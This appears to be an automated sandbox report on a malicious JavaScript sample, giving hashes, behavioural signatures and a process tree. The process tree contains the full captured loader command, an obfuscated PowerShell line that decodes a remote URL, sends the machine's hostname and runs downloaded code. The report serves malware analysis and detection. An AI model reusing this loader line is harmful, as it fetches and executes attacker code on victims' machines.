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Analysis
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max time kernel
498s -
max time network
500s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26/05/2023, 16:31
Static task
static1
Behavioral task
behavioral1
Sample
NUVW1369.js
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
NUVW1369.js
Resource
win7-20230220-en
Behavioral task
behavioral3
Sample
NUVW1369.js
Resource
win10v2004-20230220-en
General
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Target
NUVW1369.js
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Size
747KB
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MD5
7cf38440c1bab5520f29ea4f50ec50c1
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SHA1
93ba640988fc04fda650ed22861460bb4a8a4768
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SHA256
b535dc0e3da92ff7112c9d6b8e49ed32f826554343bd16ea0b32599ee5b5c4ae
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SHA512
a1493b99043bc2351b1caa470f6509b7b5a88a1d3b0456917548a36882ac6603fd2e346e4869af63766abf195221601c9f2bde92f81270170098f3f809bebd22
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SSDEEP
3072:yTXYmBNLkwZRnXAjoxS7wCXde+pj/uzLLLNQaAapwxDY/YhNkskLJ9KR9CHccVoZ:GyWbCpN4U
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3216 3196 conhost.exe 78 -
Blocklisted process makes network request 2 IoCs
flow pid Process 6 1128 powershell.exe 11 1128 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1128 powershell.exe 1128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1128 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3216 wrote to memory of 1128 3216 conhost.exe 80 PID 3216 wrote to memory of 1128 3216 conhost.exe 80 PID 1128 wrote to memory of 4556 1128 powershell.exe 81 PID 1128 wrote to memory of 4556 1128 powershell.exe 81
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\NUVW1369.js1⤵PID:4076
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C:\Windows\system32\conhost.execonhost --headless powershell @(2554,2566,2566,2562,2508,2497,2497,2565,2550,2552,2568,2565,2496,2566,2561,2562,2497,2564,2566,2496,2562,2554,2562,2513,2555,2511)|foreach{$ofebnw=$ofebnw+[char]($_-2450)};$rplotc='l';new-alias tfyfx cur$rplotc;$sibz=$(hostname);.$([char](7892-7787)+'ex')(tfyfx -useb "$ofebnw$sibz")1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell @(2554,2566,2566,2562,2508,2497,2497,2565,2550,2552,2568,2565,2496,2566,2561,2562,2497,2564,2566,2496,2562,2554,2562,2513,2555,2511)|foreach{$ofebnw=$ofebnw+[char]($_-2450)};$rplotc='l';new-alias tfyfx cur$rplotc;$sibz=$(hostname);.$([char](7892-7787)+'ex')(tfyfx -useb $ofebnw$sibz)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"3⤵PID:4556
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Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82